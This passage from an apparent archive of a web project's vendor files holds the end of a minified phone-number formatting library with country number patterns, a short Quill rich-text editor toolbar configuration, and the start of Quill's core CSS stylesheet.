89]|3[0146-8]|4[0179]|5[12469]|7[0-389]|8[04-69]))[2-9]\\d{6}",null,null,null,"2015550123",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"US",1,"011","1",null,null,"1",null,null,1,[[null,"(\\d{3})(\\d{4})","$1-$2",["[2-9]"]],[null,"(\\d{3})(\\d{3})(\\d{4})","($1) $2-$3",["[2-9]"],null,null,1]],[[null,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["[2-9]"]]],[null,null,null,null,null,null,null,null,null,[-1]],1,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"710[2-9]\\d{6}",null,null,null,"7102123456"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],UY:[null,[null,null,"(?:[249]\\d\\d|80)\\d{5}|9\\d{6}",null,null,null,null,null,null,[7,8]],[null,null,"(?:2\\d|4[2-7])\\d{6}",null,null,null,"21231234",null,null,[8],[7]],[null,null,"9[1-9]\\d{6}",null,null,null,"94231234",null,null,[8]],[null,null,"80[05]\\d{4}",null,null,null,"8001234",null,null,[7]],[null,null,"90[0-8]\\d{4}",null,null,null,"9001234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"UY",598,"0(?:0|1[3-9]\\d)","0"," int. ",null,"0",null,"00",null,[[null,"(\\d{3})(\\d{4})","$1 $2",["8|90"],"0$1"],[null,"(\\d{4})(\\d{4})","$1 $2",["[24]"]],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["9"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],UZ:[null,[null,null,"[679]\\d{8}",null,null,null,null,null,null,[9],[7]],[null,null,"(?:6(?:1(?:22|3[124]|4[1-4]|5[1-3578]|64)|2(?:22|3[0-57-9]|41)|5(?:22|3[3-7]|5[024-8])|6\\d\\d|7(?:[23]\\d|7[69])|9(?:22|4[1-8]|6[135]))|7(?:0(?:5[4-9]|6[0146]|7[124-6]|9[135-8])|1[12]\\d|2(?:22|3[13-57-9]|4[1-3579]|5[14])|3(?:2\\d|3[1578]|4[1-35-7]|5[1-57]|61)|4(?:2\\d|3[1-579]|7[1-79])|5(?:22|5[1-9]|6[1457])|6(?:22|3[12457]|4[13-8])|9(?:22|5[1-9])))\\d{5}",null,null,null,"669050123",null,null,null,[7]],[null,null,"(?:6(?:1(?:2(?:2[01]|98)|35[0-4]|50\\d|61[23]|7(?:[01][017]|4\\d|55|9[5-9]))|2(?:(?:11|7\\d)\\d|2(?:[12]1|9[01379])|5(?:[126]\\d|3[0-4]))|5(?:19[01]|2(?:27|9[26])|(?:30|59|7\\d)\\d)|6(?:2(?:1[5-9]|2[0367]|38|41|52|60)|(?:3[79]|9[0-3])\\d|4(?:56|83)|7(?:[07]\\d|1[017]|3[07]|4[047]|5[057]|67|8[0178]|9[79]))|7(?:2(?:24|3[237]|4[5-9]|7[15-8])|5(?:7[12]|8[0589])|7(?:0\\d|[39][07])|9(?:0\\d|7[079]))|9(?:2(?:1[1267]|3[01]|5\\d|7[0-4])|(?:5[67]|7\\d)\\d|6(?:2[0-26]|8\\d)))|7(?:0\\d{3}|1(?:13[01]|6(?:0[47]|1[67]|66)|71[3-69]|98\\d)|2(?:2(?:2[79]|95)|3(?:2[5-9]|6[0-6])|57\\d|7(?:0\\d|1[17]|2[27]|3[37]|44|5[057]|66|88))|3(?:2(?:1[0-6]|21|3[469]|7[159])|(?:33|9[4-6])\\d|5(?:0[0-4]|5[579]|9\\d)|7(?:[0-3579]\\d|4[0467]|6[67]|8[078]))|4(?:2(?:29|5[0257]|6[0-7]|7[1-57])|5(?:1[0-4]|8\\d|9[5-9])|7(?:0\\d|1[024589]|2[0-27]|3[0137]|[46][07]|5[01]|7[5-9]|9[079])|9(?:7[015-9]|[89]\\d))|5(?:112|2(?:0\\d|2[29]|[49]4)|3[1568]\\d|52[6-9]|7(?:0[01578]|1[017]|[23]7|4[047]|[5-7]\\d|8[78]|9[079]))|6(?:2(?:2[1245]|4[2-4])|39\\d|41[179]|5(?:[349]\\d|5[0-2])|7(?:0[017]|[13]\\d|22|44|55|67|88))|9(?:22[128]|3(?:2[0-4]|7\\d)|57[02569]|7(?:2[05-9]|3[37]|4\\d|60|7[2579]|87|9[07])))|9[0-57-9]\\d{3})\\d{4}",null,null,null,"912345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"UZ",998,"810","8",null,null,"8",null,"8~10",null,[[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[679]"],"8 $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VA:[null,[null,null,"0\\d{6}(?:\\d{4})?|3[0-8]\\d{9}|(?:[0138]\\d?|55)\\d{8}|[08]\\d{5}(?:\\d{2})?",null,null,null,null,null,null,[6,7,8,9,10,11]],[null,null,"06698\\d{1,6}",null,null,null,"0669812345"],[null,null,"33\\d{9}|3[1-9]\\d{8}|3[2-9]\\d{7}",null,null,null,"3123456789",null,null,[9,10,11]],[null,null,"80(?:0\\d{3}|3)\\d{3}",null,null,null,"800123456",null,null,[6,9]],[null,null,"(?:(?:0878|1(?:44|6[346])\\d)\\d\\d|89(?:2|(?:4[5-9]|(?:5[5-9]|9)\\d\\d)\\d))\\d{3}|89[45][0-4]\\d\\d",null,null,null,"899123456",null,null,[6,8,9,10]],[null,null,"84(?:[08]\\d{3}|[17])\\d{3}",null,null,null,"848123456",null,null,[6,9]],[null,null,"1(?:78\\d|99)\\d{6}",null,null,null,"1781234567",null,null,[9,10]],[null,null,"55\\d{8}",null,null,null,"5512345678",null,null,[10]],"VA",39,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"06698",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VC:[null,[null,null,"(?:[58]\\d\\d|784|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"784(?:266|3(?:6[6-9]|7\\d|8[0-24-6])|4(?:38|5[0-36-8]|8[0-8])|5(?:55|7[0-2]|93)|638|784)\\d{4}",null,null,null,"7842661234",null,null,null,[7]],[null,null,"784(?:4(?:3[0-5]|5[45]|89|9[0-8])|5(?:2[6-9]|3[0-4]))\\d{4}",null,null,null,"7844301234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"VC",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"784",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VE:[null,[null,null,"(?:(?:[24]\\d|50)\\d|[89]00)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"(?:2(?:12|3[457-9]|[467]\\d|[58][1-9]|9[1-6])|50[01])\\d{7}",null,null,null,"2121234567",null,null,null,[7]],[null,null,"4(?:1[24-8]|2[46])\\d{7}",null,null,null,"4121234567"],[null,null,"800\\d{7}",null,null,null,"8001234567"],[null,null,"900\\d{7}",null,null,null,"9001234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"VE",58,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{7})","$1-$2",["[24589]"],"0$1","$CC $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VG:[null,[null,null,"(?:284|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"284(?:(?:229|774|8(?:52|6[459]))\\d|4(?:22\\d|9(?:[45]\\d|6[0-5])))\\d{3}",null,null,null,"2842291234",null,null,null,[7]],[null,null,"284(?:(?:3(?:0[0-3]|4[0-7]|68|9[34])|54[0-57])\\d|4(?:(?:4[0-6]|68)\\d|9(?:6[6-9]|9\\d)))\\d{3}",null,null,null,"2843001234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"VG",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"284",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VI:[null,[null,null,"(?:(?:34|90)0|[58]\\d\\d)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"340(?:2(?:01|2[06-8]|44|77)|3(?:32|44)|4(?:22|7[34])|5(?:1[34]|55)|6(?:26|4[23]|77|9[023])|7(?:1[2-57-9]|27|7\\d)|884|998)\\d{4}",null,null,null,"3406421234",null,null,null,[7]],[null,null,"340(?:2(?:01|2[06-8]|44|77)|3(?:32|44)|4(?:22|7[34])|5(?:1[34]|55)|6(?:26|4[23]|77|9[023])|7(?:1[2-57-9]|27|7\\d)|884|998)\\d{4}",null,null,null,"3406421234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002345678"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002345678"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"VI",1,"011","1",null,null,"1",null,null,1,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"340",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VN:[null,[null,null,"[12]\\d{9}|[135-9]\\d{8}|(?:[16]\\d?|[78])\\d{6}",null,null,null,null,null,null,[7,8,9,10]],[null,null,"2(?:0[3-9]|1[0-689]|2[0-25-9]|3[2-9]|4[2-8]|5[124-9]|6[0-39]|7[0-7]|8[2-7]|9[0-4679])\\d{7}",null,null,null,"2101234567",null,null,[10]],[null,null,"(?:(?:3\\d|7[06-9])\\d|5(?:2[238]|[689]\\d)|8(?:[1-58]\\d|6[5689]|9[689])|9(?:[0-8]\\d|9[013-9]))\\d{6}",null,null,null,"912345678",null,null,[9]],[null,null,"1800\\d{4,6}",null,null,null,"1800123456",null,null,[8,9,10]],[null,null,"1900\\d{4,6}",null,null,null,"1900123456",null,null,[8,9,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:67|99)2\\d{6}",null,null,null,"992012345",null,null,[9]],"VN",84,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{5})","$1 $2",["80"],"0$1",null,1],[null,"(\\d{3})(\\d{4})","$1 $2",["[17]99"],"0$1",null,1],[null,"(\\d{3})(\\d{4,5})","$1 $2",["69"],"0$1",null,1],[null,"(\\d{4})(\\d{4,6})","$1 $2",["1"],null,null,1],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[69]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[3578]"],"0$1",null,1],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["2[48]"],"0$1",null,1],[null,"(\\d{3})(\\d{4})(\\d{3})","$1 $2 $3",["2"],"0$1",null,1]],[[null,"(\\d{2})(\\d{5})","$1 $2",["80"],"0$1",null,1],[null,"(\\d{4})(\\d{4,6})","$1 $2",["1"],null,null,1],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[69]"],"0$1",null,1],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[3578]"],"0$1",null,1],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["2[48]"],"0$1",null,1],[null,"(\\d{3})(\\d{4})(\\d{3})","$1 $2 $3",["2"],"0$1",null,1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:[17]99|69\\d\\d?)\\d{4}",null,null,null,null,null,null,[7,8]],[null,null,"(?:[17]99|69\\d\\d?|80\\d)\\d{4}",null,null,null,"1992000",null,null,[7,8]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],VU:[null,[null,null,"(?:(?:[23]|(?:[57]\\d|90)\\d)\\d|[48]8)\\d{3}",null,null,null,null,null,null,[5,7]],[null,null,"(?:(?:2[02-9]|88)\\d|3(?:[5-7]\\d|8[0-8])|48[4-9])\\d\\d",null,null,null,"22123",null,null,[5]],[null,null,"(?:5(?:[0-689]\\d|7[2-5])|7[013-7]\\d)\\d{4}",null,null,null,"5912345",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"90[1-9]\\d{4}",null,null,null,"9010123",null,null,[7]],"VU",678,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[579]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:3[03]|900\\d)\\d{3}",null,null,null,"30123"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],WF:[null,[null,null,"(?:[45]0|68|72|8\\d)\\d{4}",null,null,null,null,null,null,[6]],[null,null,"(?:50|68|72)\\d{4}",null,null,null,"501234"],[null,null,"(?:50|68|72|8[23])\\d{4}",null,null,null,"501234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"WF",681,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["[4-8]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"[48]0\\d{4}",null,null,null,"401234"]],WS:[null,[null,null,"(?:[2-6]|8\\d(?:\\d{4})?)\\d{4}|[78]\\d{6}",null,null,null,null,null,null,[5,6,7,10]],[null,null,"(?:[2-5]\\d|6[1-9])\\d{3}",null,null,null,"22123",null,null,[5]],[null,null,"(?:7[25-7]|8(?:[3-7]|9\\d{3}))\\d{5}",null,null,null,"7212345",null,null,[7,10]],[null,null,"800\\d{3}",null,null,null,"800123",null,null,[6]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"WS",685,"0",null,null,null,null,null,null,null,[[null,"(\\d{5})","$1",["[2-6]"]],[null,"(\\d{3})(\\d{3,7})","$1 $2",["8"]],[null,"(\\d{2})(\\d{5})","$1 $2",["7"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],XK:[null,[null,null,"(?:[23]\\d{2,3}|4\\d\\d|[89]00)\\d{5}",null,null,null,null,null,null,[8,9]],[null,null,"(?:2[89]|39)0\\d{6}|[23][89]\\d{6}",null,null,null,"28012345"],[null,null,"4[3-79]\\d{6}",null,null,null,"43201234",null,null,[8]],[null,null,"800\\d{5}",null,null,null,"80001234",null,null,[8]],[null,null,"900\\d{5}",null,null,null,"90001234",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"XK",383,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[2-4]"],"0$1"],[null,"(\\d{3})(\\d{5})","$1 $2",["[89]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[23]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],YE:[null,[null,null,"(?:1|7\\d)\\d{7}|[1-7]\\d{6}",null,null,null,null,null,null,[7,8,9],[6]],[null,null,"17\\d{6}|(?:[12][2-68]|3[2358]|4[2-58]|5[2-6]|6[3-58]|7[24-68])\\d{5}",null,null,null,"1234567",null,null,[7,8],[6]],[null,null,"7[0137]\\d{7}",null,null,null,"712345678",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"YE",967,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{3,4})","$1 $2 $3",["[1-6]|7[24-68]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["7"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],YT:[null,[null,null,"(?:(?:26|63)9|80\\d)\\d{6}",null,null,null,null,null,null,[9]],[null,null,"269(?:0[67]|5[01]|6\\d|[78]0)\\d{4}",null,null,null,"269601234"],[null,null,"639(?:0[0-79]|1[019]|[267]\\d|3[09]|[45]0|9[04-79])\\d{4}",null,null,null,"639012345"],[null,null,"80\\d{7}",null,null,null,"801234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"YT",262,"00","0",null,null,"0",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"269|63",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ZA:[null,[null,null,"[1-9]\\d{8}|8\\d{4,7}",null,null,null,null,null,null,[5,6,7,8,9]],[null,null,"(?:1[0-8]|2[1-378]|3[1-69]|4\\d|5[1346-8])\\d{7}",null,null,null,"101234567",null,null,[9]],[null,null,"(?:6\\d|7[0-46-9]|8[1-5])\\d{7}|8[1-4]\\d{3,6}",null,null,null,"711234567"],[null,null,"80\\d{7}",null,null,null,"801234567",null,null,[9]],[null,null,"(?:86[2-9]|9[0-2]\\d)\\d{6}",null,null,null,"862345678",null,null,[9]],[null,null,"860\\d{6}",null,null,null,"860123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"87\\d{7}",null,null,null,"871234567",null,null,[9]],"ZA",27,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3,4})","$1 $2",["8[1-4]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2,3})","$1 $2 $3",["8[1-4]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["860"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[1-9]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"861\\d{6}",null,null,null,"861123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ZM:[null,[null,null,"(?:(?:21|76|9\\d)\\d|800)\\d{6}",null,null,null,null,null,null,[9],[6]],[null,null,"21[1-8]\\d{6}",null,null,null,"211234567",null,null,null,[6]],[null,null,"(?:76|9[5-8])\\d{7}",null,null,null,"955123456"],[null,null,"800\\d{6}",null,null,null,"800123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"ZM",260,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})","$1 $2"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[28]"],"0$1"],[null,"(\\d{2})(\\d{7})","$1 $2",["[79]"],"0$1"]],[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[28]"],"0$1"],[null,"(\\d{2})(\\d{7})","$1 $2",["[79]"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ZW:[null,[null,null,"2(?:[0-57-9]\\d{6,8}|6[0-24-9]\\d{6,7})|[38]\\d{9}|[35-8]\\d{8}|[3-6]\\d{7}|[1-689]\\d{6}|[1-3569]\\d{5}|[1356]\\d{4}",null,null,null,null,null,null,[5,6,7,8,9,10],[3,4]],[null,null,"(?:1(?:(?:3\\d|9)\\d|[4-8])|2(?:(?:(?:0(?:2[014]|5)|(?:2[0157]|31|84|9)\\d\\d|[56](?:[14]\\d\\d|20)|7(?:[089]|2[03]|[35]\\d\\d))\\d|4(?:2\\d\\d|8))\\d|1(?:2|[39]\\d{4}))|3(?:(?:123|(?:29\\d|92)\\d)\\d\\d|7(?:[19]|[56]\\d))|(?:4\\d\\d|9[2-9])\\d\\d?|5(?:0|1[2-478]|26|[37]2|4(?:2\\d{3}|83)|5(?:25\\d\\d|[78])|[689]\\d)|6(?:(?:[16-8]21|28|52[013])\\d\\d|[39])|8(?:[1349]28|523)\\d\\d)\\d{3}|(?:(?:2(?:(?:(?:0|8[146])\\d|7[1-7])\\d|2(?:[278]\\d|92)|58(?:2\\d|3))|3(?:[26]|9\\d{3})|5(?:4\\d|5)\\d\\d)\\d|6(?:(?:(?:[0-246]|[78]\\d)\\d|37)\\d|5[2-8]))\\d\\d|(?:2(?:[569]\\d|8[2-57-9])|3(?:[013-59]\\d|8[37])|6[89]8)\\d{3}",null,null,null,"1312345",null,null,null,[3,4]],[null,null,"(?:7(?:1\\d|3[2-9]|7[1-9]|8[2-5])|8644)\\d{6}",null,null,null,"712345678",null,null,[9,10]],[null,null,"80(?:[01]\\d|20|8[0-8])\\d{3}",null,null,null,"8001234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"86(?:1[12]|30|55|77|8[368])\\d{6}",null,null,null,"8686123456",null,null,[10]],"ZW",263,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{2,4})","$1 $2 $3",["[49]"],"0$1"],[null,"(\\d{3})(\\d{3,5})","$1 $2",["2(?:0[45]|2[278]|[49]8|[78])|3(?:[09]8|17|3[78]|[78])|5[15][78]|6(?:[29]8|37|[68][78]|75)"],"0$1"],[null,"(\\d{3})(\\d{4})","$1 $2",["80"],"0$1"],[null,"(\\d{2})(\\d{7})","$1 $2",["2(?:[05-79]2|4)|(?:39|5[45]|6[15-8])2|8[13-59]","2(?:02[014]|4|[56]20|[79]2)|392|5(?:42|525)|6(?:[16-8]21|52[013])|8[13-59]"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["2(?:1[39]|2[0157]|[378]|[56][14])|3(?:12|29)","2(?:1[39]|2[0157]|[378]|[56][14])|3(?:123|29)"],"0$1"],[null,"(\\d{4})(\\d{6})","$1 $2",["8"],"0$1"],[null,"(\\d{2})(\\d{3,5})","$1 $2",["[16]|2(?:[0-256]|9[0-79])|3(?:[09][0-79]|1[0-689]|[24-6]|3[0-69])|5[0-35-9]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["29|3|54"],"0$1"],[null,"(\\d{4})(\\d{3,5})","$1 $2",["[25]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]]};y.b=function(){return y.a?y.a:y.a=new y};var ul={0:"0",1:"1",2:"2",3:"3",4:"4",5:"5",6:"6",7:"7",8:"8",9:"9","0":"0","1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","٠":"0","١":"1","٢":"2","٣":"3","٤":"4","٥":"5","٦":"6","٧":"7","٨":"8","٩":"9","۰":"0","۱":"1","۲":"2","۳":"3","۴":"4","۵":"5","۶":"6","۷":"7","۸":"8","۹":"9"},dl=RegExp("[++]+"),$l=RegExp("([0-90-9٠-٩۰-۹])"),tl=/^\(?\$1\)?$/,el=new A;h(el,11,"NA");var rl=/\[([^\[\]])*\]/g,il=/\d(?=[^,}][^,}])/g,al=RegExp("^[-x‐-―−ー--/  ­​⁠ ()()[].\\[\\]/~⁓∼~]*(\\$\\d[-x‐-―−ー--/  ­​⁠ ()()[].\\[\\]/~⁓∼~]*)+$"),ol=/[- ]/;E.prototype.K=function(){this.C="",d(this.i),d(this.u),d(this.m),this.s=0,this.w="",d(this.b),this.h="",d(this.a),this.l=!0,this.A=this.o=this.F=!1,this.f=[],this.B=!1,this.g!=this.J&&(this.g=v(this,this.D))},E.prototype.L=function(l){return this.C=K(this,l)},l("Cleave.AsYouTypeFormatter",E),l("Cleave.AsYouTypeFormatter.prototype.inputDigit",E.prototype.L),l("Cleave.AsYouTypeFormatter.prototype.clear",E.prototype.K)}.call("object"==typeof global&&global?global:window);vendor/quill/custom.js000066600000001461151150442740011050 0ustar00var quill = new Quill("#simpleEditor", {
	theme: "snow",
});

var toolbarOptions = [
	["bold", "italic", "underline", "strike"], // toggled buttons
	["blockquote", "code-block"],

	[{ header: 1 }, { header: 2 }], // custom button values
	[{ list: "ordered" }, { list: "bullet" }],
	[{ script: "sub" }, { script: "super" }], // superscript/subscript
	[{ indent: "-1" }, { indent: "+1" }], // outdent/indent
	[{ direction: "rtl" }], // text direction

	[{ size: ["small", false, "large", "huge"] }], // custom dropdown
	[{ header: [1, 2, 3, 4, 5, 6, false] }],

	[{ color: [] }, { background: [] }], // dropdown with defaults from theme
	[{ font: [] }],
	[{ align: [] }],

	["clean"], // remove formatting button
];

var quill = new Quill("#fullEditor", {
	modules: {
		toolbar: toolbarOptions,
	},
	theme: "snow",
});
vendor/quill/quill.core.css000066600000057574151150442740012007 0ustar00/*!
 * Quill Editor v1.3.6
 * https://quilljs.com/
 * Copyright (c) 2014, Jason Chen
 * Copyright (c) 2013, salesforce.com
 */
.ql-container {
	box-sizing: border-box;
	font-family: Helvetica, Arial, sans-serif;
	font-size: 13px;
	height: 100%;
	margin: 0px;
	position: relative;
}
.ql-container.ql-disabled .ql-tooltip {
	visibility: hidden;
}
.ql-container.ql-disabled .ql-editor ul[data-checked] > li::before {
	pointer-events: none;
}
.ql-clipboard {
	left: -100000px;
	height: 1px;
	overflow-y: hidden;
	position: absolute;
	top: 50%;
}
.ql-clipboard p {
	margin: 0;
	padding: 0;
}
.ql-editor {
	box-sizing: border-box;
	line-height: 1.42;
	height: 100%;
	outline: none;
	overflow-y: auto;
	padding: 12px 15px;
	tab-size: 4;
	-moz-tab-size: 4;
	text-align: left;
	white-space: pre-wrap;
	word-wrap: break-word;
}
.ql-editor > * {
	cursor: text;
}
.ql-editor p,
.ql-editor ol,
.ql-editor ul,
.ql-editor pre,
.ql-editor blockquote,
.ql-editor h1,
.ql-editor h2,
.ql-editor h3,
.ql-editor h4,
.ql-editor h5,
.ql-editor h6 {
	margin: 0;
	padding: 0;
	counter-reset: list-1 list-2 list-3 list-4 list-5 list-6 list-7 list-8 list-9;
}
.ql-editor ol,
.ql-editor ul {
	padding-left: 1.5em;
}
.ql-editor ol > li,
.ql-editor ul > li {
	list-style-type: none;
}
.ql-editor ul > li::before {
	content: "\2022";
}
.ql-editor ul[data-checked="true"],
